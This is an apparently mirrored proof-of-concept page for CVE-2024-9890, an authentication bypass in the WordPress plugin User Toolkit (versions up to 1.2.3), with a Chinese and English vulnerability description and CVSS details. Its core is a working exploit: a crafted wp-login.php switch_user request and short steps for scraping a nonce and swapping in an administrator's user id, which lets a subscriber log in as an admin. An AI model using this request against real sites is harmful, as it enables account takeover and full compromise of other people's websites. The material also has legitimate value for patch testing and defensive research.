Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-9890 PoC — WordPress plugin User Toolkit 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin User Toolkit 安全漏洞 (CVE-2024-9890)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin User Toolkit 1.2.3版本及之前版本存在安全漏洞,该漏洞源于包含一个身份验证绕过漏洞。
Description
User Toolkit <= 1.2.3 - Authenticated (Subscriber+) Authentication Bypass
Readme
# CVE-2024-9890

User Toolkit <= 1.2.3 - Authenticated (Subscriber+) Authentication Bypass

# Description:
The User Toolkit plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.2.3. This is due to an improper capability check in the 'switchUser' function. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to log in as any existing user on the site, such as an administrator.

```
Published: 2024-10-25 00:00:00
CVE: CVE-2024-9890
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: user-toolkit
```

POC
---

```
http://kubernetes.docker.internal/wp-login.php?action=switch_user&user_id=4&user_from=1&_wpnonce=8af7611329
```

Login as your user.
view-source your provfile page to grag the nonce value.
change the user_from value to your user id
change the user_id to the id of the admin
Done!
File Snapshot

[4.0K] /data/pocs/429dd88a4f0f065c3cc7dffb0802aee29667da52 └── [ 906] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.